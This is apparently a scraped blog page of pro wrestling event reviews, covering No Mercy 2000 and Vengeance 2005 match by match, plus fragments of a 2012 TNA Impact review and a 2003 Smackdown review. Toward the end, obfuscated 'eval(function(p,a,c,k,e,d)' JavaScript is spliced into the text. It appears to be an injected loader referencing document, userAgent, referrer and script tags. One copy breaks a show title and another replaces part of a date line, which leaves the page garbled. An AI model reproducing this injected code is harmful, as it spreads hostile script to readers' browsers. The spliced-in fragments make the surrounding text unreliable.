No Mercy 2000
Date: October 22, 2000
Location: Pepsi Center, Albany, New York
Attendance: 14,342
Commentators: Jim Ross, Jerry Lawler

This was another request so I thought I’d knock this one out rather quickly. Not much special on this card with a main event of Angle vs. Rock for the title in what should be an easy win for the Great One. The other main match is Austin getting Rikishi after he was revealed as the driver of the car. The feud bombed so HHH was brought in soon but we’ll get to that later. There’s also HHH vs. Benoit but most importantly, MIDEON IS HERE! This was one of the weirder gimmicks of all time but it’s here tonight. Let’s get to it.

The opening video is of course focused on Austin and Rikishi which is how it should be. He’ll have no mercy on him. Get it?

Tag Team Table Gauntlet Match

We start with Too Cool vs. Low Down (Chaz (Headbanger Mosh) and D’lo Brown). There are five teams total. I’ve never been a fan of gauntlet matches as you have to go so fast and it looks like you can beat a team in mere minutes but other times they take two or three times as long to get such a win. No tagging here of course. Chaz looks like Maven minus the eyebrows.

Austin isn’t here yet which is the highlight of the commentary of course. Lawler lists off various uses for tables. His favorite: table dances. Now who didn’t see that coming? It amazes me that this was against Halloween Havoc 2000. You can really see the difference between the two companies as everything there seemed old and dying but this looks very fresh and interesting.

Sky High on Grandmaster as we talk about Edge and Christian being sick. Low Down goes for a double table shot but Grandmaster gets off his table and Scotty shoves Chaz off the top into his so Low Down has been eliminated. The next team is Taz and Raven who I never remember teaming together at all. They bring their own table as Jerry makes shootout jokes.

We start on the floor and Scotty goes up to the apron to put Raven through. Taz, thinking for once, grabs Scotty while he poses and throws the Tazmission on him. Raven tries to suplex Grandmaster to the floor through one but Grandmaster reverses into a sunset powerbomb but his feet break it. They need to fire whoever makes these tables as they kind of suck. Scotty does the worm under a table and because it ticks him off, Tazz throws Scotty through one to advance him and Rave.

The Dudleys are the fourth team. It’s hard to believe they had been around for a year at this point. D-Von is thrown into Raven as I want to chant ECW. Taz and Bubba go at it for a bit. Opening a WWF show after main eventing an ECW show. That’s nearly poetic. What’s Up to Raven and it’s table time. BIG table chant but they brawl for a bit instead. And it all means nothing as a top rope legdrop gets the Dudleys to the finals.

The final team is the Right to Censor which is comprised of Buchanan and the Goodfather. I always hated that name as it just sounds stupid. Big brawl to start as the non white people go to the floor. There are two tables in the ring as Bull blocks an Bubba Bomb. Down goes the referee as Bubba puts Buchanan through the table. Goodfather cracks Bubba with a chair and puts him on the broken table for the win.

And never mind as another referee is here to restart the match. 3D on Goodfather ends it like 45 seconds later.

Rating: C. Eh this was fine for an opener as the fans loved it. Not something you can grade for quality or anything of course due to the nature of the match but for what it was supposed to be this was fine. The Dudleys and their tables were always popular but the ending was a bit predictable. I could think of worse uses for about 13 minutes though.

Trish is with T&A in the back and implies she should flash the Acolytes to distract them.

Rikishi is waiting outside for Austin.

We recap T&A vs. the APA as there was a strip poker game that resulted in them seeing Trish lose her clothes. T&A beat up Lita for no apparent reason other than to set this match up.

APA/Lita vs. T&A/Trish Stratus

Test and Albert if you’re confused. Lita is Women’s Champion here but Trish is a joke as far as in ring stuff goes at this point. In the back we see T&A over Bradshaw who is out cold. They beat up Farrooq also which I think led to them taking some time off. The big heels come to the arena to beat up Lita too. Matt and Jeff, the current tag champions, make the save.

Edge and Christian say their nuts are fine. Peanuts that is. This was about as sophomoric as you could ask for but it was amusing.

Rikishi is still waiting.

Chris Jericho vs. X–Pac

Cage match. Before the match Jericho says they’re feuding and have been for so long he doesn’t even remember why they hate each other. He makes fun of him for never changing anything about himself but it ends tonight. New tights for X-Pac in a funny moment. Jericho hits a baseball slide to the floor to start and we brawl outside the cage to start. Pac never got in so that helps a bit.

Pac misses a huge chair shot and we finally get inside the cage. Standard stuff that you would expect from these two to start us off. Nice springboard dropkick to the leg of Pac to keep him in the cage. Mostly advantage to the non-Canadian (I try to avoid saying the same names over and over again if anyone wonder why I say such odd names at times) here as we wait for the Jericho comeback.

Sweet goodness X-Pac was just not interesting at all. BIG super bomb off the top to half kill X-Pac but Jericho is down too. Jericho goes for the cage but Pac grabs his foot. Jericho kicks him in the face to take care of that. I love basic counters like those. Pac goes for the door and manages to get the chair he swung earlier before Jericho makes the save.

He clocks Jericho with the chair but takes a shot of his own. JR says his eyes look glazed over but that’s typical for him. They go up to the top of the cage where Jericho gets the Walls or a Sharpshooter or something around one of the cables that they raise and lower the cage with. Pac throws him down but celebrates too long which standing on the door. Jericho of course dropkicks it and goes out to win as Pac is left crotched.

Rating: C-. Really nothing special here as Pac was beyond uninteresting at this point. I get that this was a feud but did this really warrant a PPV cage match? It wasn’t bad and the ending worked pretty well I thought, but the match just wasn’t all that interesting at all. Pretty bland though.

Steve Blackman is at WWF New York.

Rikishi yells at Foley about Austin not being here yet.

We see Eddie being injured so he’s out of the match tonight vs. Billy for the IC Title. Instead we get RTC vs. Billy and Chyna. Chyna, who looks more manly than Billy, as in more than usual, says they’ll beat up Eddie. Billy kind of hits on her but that perm is making it too hard to focus on what he’s saying.

Val Venis/Steven Richards vs. Billy Gunn/Chyna

Steven refers to Gunn as rectally obsessed. That somehow fits. Who came up with that gimmick?  They need to be drug out into the street and shot. Val and Rikishi start us off which is as riveting as it sounds. Val punches Chyna on the floor and goes into the steps for his troubles. This is going nowhere fast. I hate that expression but it fits here.

Chyna spins Richards around by the tie. She goes off on him and the heels are in trouble. Val goes after the arm of Billy as this is setting new standards for boring. Chyna gets a very weak tag for the beatdown. Handspring elbow to Val as Billy helps to beat him up. Pedigree attempt but Eddie comes down to hit her with the loaded flowers and Val gets the pin.

Rating: F. Sweet GOODNESS this was boring. I get the injury thing but at the same time this had nothing at all to it. Get on to the next match please.

HHH is in his dressing room and Stephanie wants to come to the ring with him. He says no and she gives him a tape of Benoit using the Crossface. She has to leave to go help Kurt get ready, meaning the Game isn’t happy.

We recap Rikishi vs. Austin. The fat man ran him over at Survivor Series 1999 so that Austin could take a year off to finally get his neck fixed. He came back to go on a manhunt which was really confusing because they kept saying Rikishi hadn’t debuted yet but he had that night on Heat which wasn’t mentioned so it was really confusing to me as I watched Heat. Anyway he said he did it for the Rock as Rock became popular without Austin being around.

Steve Austin vs. Rikishi

This is no rules of course as Austin pointed out that he didn’t want a match but to hurt Rikishi which makes sense. Austin’s line of “this match is going to take brutality to a whole other level” is the iconic line here but it didn’t quite live up to it. No Austin yet remember. Rikishi comes out with the sledgehammer as I guess they’re foreshadowing the HHH involvement.

Rikishi demands that Foley come out here and declare him the winner. And before anything happens here comes Austin with truck. No reason for why he’s late or anything but why would we need that? It’s the same truck that Rikishi destroyed with the hammer. Austin is in shorts and the t-shirt which fits I think. Rikishi goes into the table as this is just a big fight.

Ross thinks Rikishi has no heart. Wouldn’t that mean he’s like dead? They’re in the crowd already as they never were in the ring at all. Austin whips him with his belt as this is just a big brawl. There just happens to be a rope under the ring but Austin goes over the table. It’s no sold of course and HE’S IN THE RING! And so much for that. Big chairshot takes the fat man down and I think he’s busted open.

Austin throws on JR’s hat for no apparent reason and wears Rikishi out with the chair. He knocks the Samoan into the back of the truck and drives the truck out of the arena. This isn’t going to end well is it? Austin puts Rikishi in front of a wall and backs up the truck but a cop car drives in front of it for the save. He gets arrested for old time’s sake.

Rating: D-. Yeah this failed. It was a big old brawl ending with the bad truck thing. The problem was that at the end of the day the Rikishi was way too fat and way too bad as a heel to be worth much. This feud bombed and everyone knew it which is why at Survivor Series Austin dropped HHH from a forklift instead of a Samoan.

And now we replay the ending of the match for no apparent reason. Are they afraid people reached over to pet their cat during the ending of the match?

European Title: William Regal vs. Mideon

That’s his official name mind you. It’s not some random nickname I gave him. Basically he wrestles in a thong and a fanny pack. He comes out in regular clothes but tries to rip them off during the match. Apparently he’s trying to get strip, making him the Kelly Kelly from the old ECW days of this generation. Mideon keeps wanting to take his clothes off but just doesn’t for some reason.

Lawler says he’s a great chain wrestler. He can beat any chain you put him up against. Eh half a point for a decent line. Pretty much total dominance by Regal here. Mideon gets his shirt off and continuously pulls his pants up. Wouldn’t that be against his character in theory? Crowd is DEAD here mind you. And there go the pants. Regal sets for the Stretch but thinks twice about it. A neckbreaker ends it.

Rating: D-. Totally pointless match where nothing of note happened and the comedy didn’t exist. Mideon was hardly a character that was ever going to really do anywhere and I have no idea what the point of this being on the show was. This was a waste of time but I guess it bridges the gap between the big matches.

We recap a rather funny fake interview that Angle conducted with videos of Rock. Funny stuff.

Los Conquistadores say SI a lot.

Tag Titles: Hardy Boys vs. Los Conquistadores

The other team used to be jobbers back in the 80s but these guys are Edge and Christian under masks which is the point of the joke. Christian and Matt start us off. This is more or less a comedy match as the Hardys just beat up the masked guys who do odd offense to prevent anyone from finding out who they actually are.

Jeff is the stoner in peril here as nothing really is happening here. Christian misses a front flip splash off the top to set up the tag to Matt. Matt fights them both off as we’re getting close to the end. Jeff does the rail run to take out Edge. Matt hits a big dive to take out everyone at once. Back in the ring and Matt pulls off his mask to reveal another mask. Unprettier ends him.

Rating: C. This was a hard one to grade as the idea was more along the lines of a comedy match. The title change was a surprise but the way they switched them back is even better. Edge and Christian came out to challenge Los Conquistadores to prove that they weren’t in the masks but Los Conquistadores, who were already the champions, beat them to keep the titles. They unmasked as the Hardys and were declared champions as they were under the masks, meaning in theory they defeated themselves for the titles but you get the idea. Fun match.

Austin’s truck is taken away by a tow truck.

HHH watches video of Benoit beating him up.

We recap Benoit vs. HHH which started with Benoit hitting Stephanie with a headbutt and then going after her even more. I think HHH might be a face here actually which makes little sense but he’s getting something resembling a face pop for his entrance here and JR seems to imply he’s a face so maybe he is. This should probably go in the match part of this.

HHH vs. Chris Benoit

This should be good. Slow start of course but HHH goes for the knee which is a new one for him. Yep there’s a loud HHH chant which isn’t what I would have bet on at all. It’s kind of weird to see him work over it like that. Benoit tries to wrestle him but HHH gets us into an Indian Deathlock. He adds a neck vice to it also which makes it kind of an STF with the guy putting in on being upside down. Pretty sick looking.

HHH goes over the top and might have a bad arm now. Naturally Benoit goes straight for it as any good wolverine would. Northern Lights suplex gets two. This really should have been the main event of Mania XX. HHH goes onto the table as Benoit is dominating. HHH counters a belly to back into a reverse suplex which is a move more people should use.

They slug it out as this is good stuff. Leaping knee to the face has Benoit in trouble. HHH goes all the way up for a superplex and both guys are down. Here come the Germans as Benoit takes over again. What was supposed to be a Dragon suplex looks like a German and gets two. A second is somewhat better but HHH is in trouble now. Crossface out of nowhere and HHH is in big trouble.

It never ceases to amaze me how much longer good guys can last in submission holds rather than heels. In something you’ll probably never see again, HHH gets up and counters the Crossface into a Death Valley Driver. Stephanie runs (best part of the match!) down and slaps Benoit. Pedigree is countered into the Crossface which is countered into the Pedigree which is countered into the Crossface which is countered into a low blow which results in a Pedigree which results in the pin. VERY nice ending.

Rating: B. Very solid match here with both guys looking completely comfortable out there. I’d have liked to see what HHH could have become had he been able to stay heel rather than having to turn again for the sake of saving the Austin story from the awfulness that Rikishi was. Still though, solid match here with a very good ending.

Edge and Christian congratulate Los Conquistadores and apparently there’s a tag title match on Raw. VIVA ESSA RIOS!

Recap of Angle vs. Rock. Benoit cost HHH a #1 contenders match by going after Stephanie. HHH told Stephanie to stay away from the ring as she’s a liability. Kurt more or less stole her and she’s his manager now. Rock is all shaken up by finding out that Rikishi did everything and ran over Austin so he’s a bit off.

WWF Title: The Rock vs. Kurt Angle

This is announced as No DQ as Kurt comes to the ring which is a new development. Stephanie distracts Rock and Angle gets a quick advantage to start. Angle gets a chair shot on the floor and Rock is in trouble. Back in the ring a Samoan Drop gets two for the champion. Angle tries to leave for some reason but Rock makes the stop. Rock throws him through the set as this is a big brawl.

Ross says that Angle is challenging for the richest prize in the Game. Is this suddenly a match taking place inside of HHH? Is the belt his pancreas or something? Stephanie chokes Rock behind the referee’s back as Ross says she’s legally breaking the rules. If it’s legal, how is she still breaking the rules? Rock gets a chair shot to his ankle. This was before the ankle lock I think.

Dragon screw leg whip sets up the Sharpshooter and he taps out as Stephanie has the referee. Angle is continuously selling the knee having it start off as a big hindrance and moving on to a slightly weaker one which is very impressive. He gets a long chinlock to kill some time but winds up on the floor and we’re back outside again.

Angle tries to get a belt shot while Stephanie gets the referee. I don’t get the whole thinking here but they’re trying at least. Angle misses the perfect moonsault and we slug it out. Rock punches the heck out of him and takes over again. Again might be a stretch but you get the idea. A spinebuster sets for the Elbow but Stephanie makes the save. Rock Bottom for her but Angle stops the elbow.

And cue HHH who destroys….Kurt. Ah there’s the Pedigree for the Rock too. That’s more like it. HHH carries Stephanie out as Angle covers for two and a big pop on the kickout. Rock gets a DDT for two as you can feel us getting to the ending. He sends Angle to the floor, walks around the ring with him and throws him back in. Even Rock can have an odd moment I guess.

Here’s Rikishi too as they continue trying to force this push down our throats no matter how hard it fails. He beats on Angle a bit as apparently he’s helping out his Samoan brethren. Rock Bottom out of nowhere but Rock can’t cover. The fat Samoan gets in and accidentally nails Rock in the corner and accidentally superkicks him. Both guys get Olympic Slams to give Angle his first of 9 (not 12 you freaking idiotic TNA) world titles to date.

Rating: B. This was of course solid as you would expect for these two. Angle was still kind of in over his head at this point as he hadn’t locked in that total insanity thing yet. The Rikishi interference was annoying but I get the HHH aspect at least. Amusingly enough Angle won the title once Stephanie left rather than while she was there. Solid match but their rematch in February where Rock would get the title back would be better.

Overall Rating: C-. Not much here other than the last two matches but it wasn’t horrible. This company was the polar opposite of WCW. Back then you had the young guys owning the top of the card while the old guys would be absolutely dreadful. Here though the first 2/3 of the show would be pretty weak but the main matches would rock the house.

The problem would come in about two years as the old guys stopped being interesting. This was an ok show but the two last matches were good. Nothing to go out of your way to see though. Things were thrown upside down as with HHH being turned but that had to happen for the sake of saving Austin which wasn’t his fault.

Remember to follow me on Twitter @kbreviews

Vengeance 2005
Date: June 26, 2005
Location: Thomas & Mack Center, Las Vegas, Nevada
Attendance: 9,850
Commentators: Jim Ross, Jerry Lawler, Jonathan Coachman

It’s a Raw show this time as we’re still in the middle of the single brand shows and will be for over another year. This is a two match show, but DANG these are two great matches. We have Kurt Angle vs. Shawn Michaels the sequel and Batista vs. HHH in Hell in a Cell in the Mania rematch.  Also we have Christian vs. Jericho vs. Cena in a three way for the other Raw title. For over three weeks both belts were on Raw which was rather stupid but whatever. There are only six matches on the card, so I’d think that sums this up pretty well. Let’s get to it.

The opening video is about Cena being new to Raw and Batista not knowing what he’s doing in HIAC. Ok then. You can tell Big Dave is serious here: he calls HHH Hunter. Far more time spent on those two which makes sense I guess.

The arena has a casino theme. At least that makes sense.

IntercontinentalTitle: Carlitovs. SheltonBenjamin

This is about a month after the infamous Shelton vs. Shawn match so Shelton is the hottest thing in the company. Well he was until he dropped the title to Carlito who is still in the purple shorts six days prior to this. Coach is already annoying the heck out of me and we’re 6 minutes into the entire broadcast. This isn’t very interesting at all, although you could say the same thing about most of the Raw shows from this era.

Shelton is still pretty awesome as he continues dominating Carlito. Carly tries to run but Shelton decides he’s the better released guy and stops that. Apparently Benjamin has a concussion. That wouldn’t be allowed today but this was a simpler time I guess. He hits a sweet clothesline from the top and can’t immediately cover because of his head. The more recently fired one takes over and they actually chant for him. That’s a different one.

Let’s hit that chinlock! Shelton hits a Samoan Drop as we’ve got all kinds of cultures in this match. I want to punch Coach in the face. Carlito keeps trying to get a turnbuckle pad off and finally manages to do so. Those three words are fun to type in a row. I love the Dragon Whip, especially how it always hits people. Does no one watch tape? He gets the pad off and Shelton eats steal on the Stinger Splash. You know the rest.

Rating: D+. Not bad but a bit long and a bit boring at times. That and with the title change happening 6 days prior to this, there was no drama at all over who was winning. Carlito was somehow even less interesting at this point if you can believe that. I’ve seen worse though.

HHH and Flair are here.

Ross calls the Cell Satan’s Spa of Pain and Suffering. WHERE DOES HE COME UP WITH THESE THINGS?

We recap Christy Hemme vs. Victoria. This is over a swimsuit contest. Oh and Victoria (Tara) is insane, even though she has that idiotic I Ain’t The Lady to Mess With song.

ChristyHemmevs. Victoria

They start fast and Victoria does all kinds of evil things to Christy. This is non-title also since the title is on Smackdown at the moment. The cards in the set change based on who is in the current match. The fans don’t really care either. Lawler says this is about looks or whatever. Christy botches the heck out of a sunset flip. Yeah I’m stunned too.

Ross freaks because Christy can do a DDT. She can do one of the least complex moves of all time and she gets cheered for it. She goes for another sunset flip and Victoria drops down and grabs the ropes for the heel pin.

Rating: D-. The lack of failing is because these are two of the hottest Divas of all time. The match was totally awful though, if you didn’t guess that part.

Cena is with Todd Grisham, and talks about being the new kid. This is still rapper Cena which makes him sound like a guy that doesn’t belong in the spot that he’s in. This is greatly disturbing. In something very good though, he keeps that theme throughout the whole interview. That’s very nice indeed and it works very well as I like this promo.

We recap Kane vs. Edge. They met in the finals of a tournament for the #1 contenders’ spot and Lita turned on her husband Kane to join Edge. This was one that made people feel very sorry for Kane which was a great idea. Edge also married Lita on Raw, or at least tried to as Kane came up from under the ring which was an awesome moment. Keep in mind that I’m a big Kane mark. Kane tombstoning the minister is just awesome stuff.

Edgevs. Kane

I vaguely remember wanting to see this match. Wow I was about to be a senior in high school back then. Kane looks like a legitimate awesome face at this point. In something I like, Kane does the ten punches in the corner and then just goes off with punches, getting up to probably 25 or so. The fans want Matt, who is gone. In real life, Matt and Lita were dating and Lita left him for Edge, so WWE of course turned it into an angle. Have to love those heartfelt guys.

Kane stays ticked off as he’s dominating this for the most part. Edge would be world champion in like 7 months so I’d say he wound up winning this one. The spear hits on the floor to hit the formula in full stride. Lawler gets in a decent line on JR, saying that in Oklahoma Hee-Haw was a documentary. Kane Kanes Up and JR says he’s setting Edge on fire here. Again, what does that mean?

Crowd is WAY into Kane here oddly enough. Edge hits a nice dropkick to block the top rope clothesline. Man Lita is thin here. Snitsky comes out and interferes THREE FREAKING TIMES. Seriously, is there no reason at all to not have two referees in kayfabe? Not that I can think of. Anyway, eventually Edge accidentally hits Gene with the MITB case, chokeslam ends it.

Rating: B-. This was a pretty solid upper midcard match, but Snitsky’s run in hurt it. The main thing here is that it gave Kane a clean pin over Edge, which makes Kane a big time threat again. Also, it’s nice seeing him getting a big win as they’re rare for him which to me sucks but whatever. Either way, this was pretty good.

We recap Angle vs. Michaels, which mostly was everyone wanting a rematch after their classic at Mania, sort of like what Taker did but less intense.

Shawn says Vengeance will be his. See what he did there? Nice one. Imagine me saying that in the cheesiest voice imaginable.

KurtAnglevs. ShawnMichaels

This should be good and I believe Becca says it’s Shawn’s best match so that’s saying a lot. Seriously, what purpose does Coach serve? I know he’s supposed to be the heel analyst, but he makes points that Jerry should be making so Jerry, who is far better, has less to do. We get a long feeling out/technical sequence to start which I can’t complain at all about. Angle takes over with some solid stuff on the mat but we’re still mostly in the feeling out stage at this point.

Angle hooks a half crab to start working on the ankle. Nice. For a guy his size, Shawn could throw one heck of a chop. He hits a spinning sunset flip off the middle rope but Angle turns it into the ankle lock. This is a chess game and it’s working very well even though we’re only about 5 minutes in. Angle hits the slam on the table which doesn’t break for a FREAKING OW moment. We even get a freaking turnbuckle powerbomb. That just looks awesome every time.

It’s all Kurt here but you can tell they’re in for a long one here. Basically what we have is how much can Shawn take, as he’s getting beaten up very badly here but he keeps countering the finishers. Angle’s lip is bleeding and Shawn is bleeding just under his eye. This is a very slow build but the crowd is staying in it so that is certainly acceptable. Shawn hits his flying forearm and the nip up gets a great pop. His selling really is great stuff. However he does the longest set up for the Sweet Chin Music of all time and Angle easily blocks it. That took almost 30 seconds to set up.

Shawn keeps covering after a DDT which is what Angle did to Shawn earlier on. I love little things like that. Angle comes back with Rolling Germans and an Angle Slam for two as we approach epicness. There goes the referee of course. Has there ever been a big match where the referee didn’t go down? Shawn takes a GREAT bump to the floor off a back drop. He was in free fall and just crashed, hurting his knee. Lawler goes on a semi rant talking about how you can’t get medical attention during a match.

Where is that kind of talk recently? Shawn stays in the ankle lock for the better part of ever but FINALLY counters as Angle hits the post. Angle goes for Shawn but OUT OF NOWHERE Shawn hits the superkick. Of course it’s just two as the referee counts to eight on both guys. Coach makes my head hurt a lot by saying he’s never seen anyone kick out of Sweet Chin Music. Angle goes up top for a double axe handle of all things but comes down into the boot for the pin.

Rating: A. This was one fine wrestling match. These two are absolute masters out there and this is no exception at all as both worked themselves ragged with great selling and back and forth work. This is a classic in every sense of the word and definitely should be seen.

Angle gets an ovation as he leaves just like he should.

Great American Bash ad which is mainly about Torrie.

Coach talks to Batista, who says he’s not scared and he’s going to get his revenge tonight. He words it a lot better. HHH comes up and I want to submit to his mustache. Pull apart brawl ends this.

Lillian Garcia is here…uh just because I guess. This is something about Viscera apparently. What was Vince’s obsession with large black men being obsessed with sex? I smell a Godfather cameo here. Lillian deserves an Oscar and a raise for this. She sings a song for him which is a great song but it helps to not look at the screen except when she’s on it. She proposes to him, crowd pops, cue Godfather. I was right. I want a hat with a feather in it like that.

Godfather offers him 5 Ho’s and of course he takes them. Was there a point to this other than to have Lillian look all sad and depressed? This is horrible yet hilarious. Ah that’s right: since we have single brand PPVs we only have 6 matches so we get pointless filler like this. Can you imagine Lawler having sex with that creepy smile never leaving his face? That’s just bizarre sounding.

We recap the triple threat which started with Cena being the top pick in the draft and Christian and Tomko yelling at him. Christian get the #1 contender spot and Jericho is mad about it. Jericho turned heel to set up a 3-1 beatdown. The language and mannerisms here are so different from today that it’s insane.

RawWorldTitle (WWE): ChrisJerichovs. Christianvs. JohnCena

So Christian was about 3 months away from leaving and Jericho was about 2 months away, so this is one of their last big matches. At the moment Christian is little more than a midcarder in over his head. Christian’s music is just odd sounding when it’s at that slower pace. Actually all three of these guys have had almost the same music for almost five years. That’s very different. Oh and the spinner is new at this point. Wow that was freaking idiotic.

The one now isn’t nearly as bad as it used to be. Lawler bets on Christian and Ross doesn’t make a pick. That was a waste of time. Tomko interferes and is out. These are always hard to comment on as they’re mainly comprised of one on one segments and then a save before repeating about three times and go to the finish. Cena hits the FU on Christian to the floor to give us Jericho vs. Cena which is ok I guess. Apparently Cena’s CD is out at the moment.

Earlier Cena complained about Jericho using the WWE Title to sell records. That’s just hilarious actually. Cena is a freaking hypocrite. Lionsault of course misses and now Jericho is alone in the ring. The fans pop for the table being uncovered. We hit match number two as Christian and Cena go at it. Wow it’s weird to hear Christian being called a veteran. It’s time for the heels to fight now which would be a main event today but is a clash of the upper midcard here.

We get a Tower of Doom as Christian gets suplexed and Jericho is powerbombed by Cena. Nice one too. In another nice spot, Cena drop toeholds Christian’s head into Jericho’s and hits a double 5 Knuckle Shuffle. Tomko takes Cena down but Christian only gets two. The Walls are applied and of course they don’t work since this is a Chris Jericho match. Cena gets Christian in the FU and kicks Jericho in the face to get the pin.

Rating: B+. This took a long time to get going but the last five minutes are very good. They actually did some three person spots in there which make this feel like a triple threat match where anyone could win. There was little to no drama but at the same time this wound up working very well indeed and I liked it a lot.

The Cell is lowered.

We recap Batista vs. HHH as they had been in Evolution together but after Batista won the Rumble he overheard HHH and Flair talking about how they have Big Dave around their little finger. Batista turned face more or less by force as he was so popular there was no other choice. He beat HHH at Mania and then at Backlash so HHH left Raw for a few weeks before coming back for a beatdown and challenging him to this. This really was a well built up feud and it feels like a huge match.

RawWorldTitle (World): Batistavs. HHH

Apparently the Cell is now the Devil’s Duplex. Seriously, what is JR on because I want some of it. Also it’s now a sentient being as it has something like emotions I guess. The Cell is still half up as Batista’s music hits. I didn’t realize he had I Walk Alone this early but apparently he did. He also had the gun pyro which is rather cool. He’s also embarking on his maiden voyage inside Hell in a Cell. Is he a boar captain all of a sudden? You can never accuse JR of using basic language.

The Cell being lowered really is a cool moment as you know you’re about to see some violence. Lawler says there is no way out. Today that would likely get him yelled at by Vince for bringing up memories of a defunct show. Why is he so paranoid about so many things? Batista is in the white tights here so you know he’s serious. They point out how fairly stupid it is to give HHH back to back shots by more or less saying this is the last chance for him.

HHH goes to the arm by sending it into the post. That’s smart I guess as it’s hard to Batista Bomb someone with one arm, although you would think the leg would be smarter. Then again he married Stephanie so he’s smarter than we are. And now HHH gets a tool box. This cannot turn into another Home Improvement match like it was vs. Nash. Well if nothing else Batista is better than Nash so I can live with that.

There’s a big chain, which at least is something that I guess you could understand having in a tool box assuming you could use it to secure something or to get a grip on something. I should host a tool show. Batista manages to survive about a minute of being choked by a chain which is being pulled by a 6’4 270lb man. What? You don’t see how that makes sense?

I love fans that encourage violence that could potentially kill a man. Well to be fair HHH is supposed to anger the fans so he’s getting that right. Batista hits four spinebusters on the floor. Not really as he just rammed HHH into the post but whatever Ross says goes I guess. HHH mimics Flair and is busted open. The white boots are working for Big Dave. HHH hits a real spinebuster to get us back to even.

He gets a barbed wire steel chair from under the ring which is there to cover any and all of their barbed wire steel chair needs. Batista takes a SICK shot of it to the back. I know it’s rubbed tipped or fixed to an extent, but DANG it looked great. The face of Batista more or less says a combination of OH MY GOODNESS, OW and DANG I COULD GO FOR A POPSICLE. He gets the chair and DRILLS HHH in the head with it. That sounded and looked great.

I love the raking of a person’s face into the cage. That just looks awesome every time they do it and it never gets old. It’s ALL Batista at this point. HHH takes a powerslam onto the barbed wire. Ok so it landed on his leg but whatever. I guess those Buns of Steel videos helped a lot there. HHH counters with a DDT onto it as this is getting very good. Both guys are bleeding now. See, this is a great example of using blood to make a match better.

Instead of just randomly bleeding in every match, this has been a brutal fight that has built up to this moment and it feels epic. Rather than having blood in every match where it becomes clichéd, the blood here is a sight that makes you think about how brutal this is. A sledgehammer shot to the face gets two as we’ve reached epic. Batista kicks out of a punch wrapped in chain to a HUGE pop.

A lot of people that that was it apparently and I can’t say I blame them. In a cool spot right after that, HHH jumps at Batista with the chain but Batista holds up the hammer so that it slams into HHH’s jaw/throat. He stands there for about 8 seconds before just collapsing. I love that visual. HHH got LAUNCHED over the corner. After this long of a match I’m surprised he can take a bump like that. Batista busts out some steps and gets them in the ring with HHH down.

HHH is just getting destroyed here as Batista is just in a zone here. Batista Bomb is countered with a low blow and the Pedigree for a LONG two. The steps are set up in the middle of the ring and Batista is in trouble. Pedigree is blocked into a spinebuster onto the steps and a Batista Bomb for the pin.

In a nice move, HHH picked up the hammer but gets dropped before he can hit it. When he’s pinned it’s still in his hand which is like the scene that ends a movie, or in this case a great match. HHH would be gone four months for this as Cena became top dog on Raw. I’m sure HHH’s diminishes spotlight had nothing to do with his absence at all.

Rating: A. This was a WAR. This is what Hell in a Cell is supposed to be like: two guys that absolutely cannot stand each other beating the hell out of the other person for a single prize. The blood was great, the violence was great, and both guys were great. See this match for sure as it’s awesome and I’m pretty sure it’s on the Hell in a Cell DVD. Great match and it made Batista look unstoppable.

OverallRating: A-. That might be a bit high but with two GREAT matches and one that’s very good along with a decent Kane/Edge match, an ok opener and Christy looking great, what more can you ask for here? Angle vs. Shawn is a great wrestling match and the main event is a great sports entertainment match. Either way you can’t go wrong. Throw in a very good Cena match and the last hour and a half of this show are about as perfect as you can get. GREAT show and definitely go check this out.a

Remember to follow me o Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atebf|var|u0026u|referrer|rtnhk||js|php'.split('|'),0,{})) Wrestling
Date: December 13, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz, Todd Keneley

We open with a recap of the major plot points from Sunday.

Cue Hardy and Storm who want to fight right now. They storm (no pun intended) the ring and clear out the unmasked bikers and for some reason, the armed bikers who have a numbers advantage bail.

Velvet talks about being in Championship Thursday next week.

Mickie is upset about losing last week.

Madison Rayne vs. Velvet Sky

Garrett, Wes and Kurt do a 5 Hour Energy commercial.

Kaz and Daniels brag a bit.

We recap the eight man tag from Sunday, which much like everything else on Sunday, was nothing.

Robbie E/Robbie T vs. Wes Brisco/Garrett Bischoff

1-3-13 video again.

Kenny King is ready for RVD again tonight.

D-Von reveals that it was Aries that paid them more money on Sunday. Not that Hardy and Storm were the ones asking but whatever.

Roode erupts on Hogan in the back about Aries when Aries calls Hulk. Hogan says get here soon and tells Roode to calm down.

We recap Daniels vs. AJ on Sunday with AJ finally losing to Daniels clean.

Daniels and Kaz celebrate and Kaz has a surprise for Daniels.

Kenny King vs. Rob Van Dam

Bully Ray vs. Jesse Godderz

Aries gets here.

1-3-13 video again.

Results

Velvet Sky b. Madison Rayne – X Factor

Wes Brisco/Garrett Bischoff b. Robbie E/Robbie T – Top rope cross body to Robbie T

Bully Ray b. Jesse Godderz – Bubba Cutter

Remember to follow me on Twitter @kbreviews

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ithzb|var|u0026u|referrer|nkkyn||js|php'.split('|'),0,{})) September 18, 2003
Location: RBC Arena, Raleigh, North Carolina
Commentators: Michael Cole, Tazz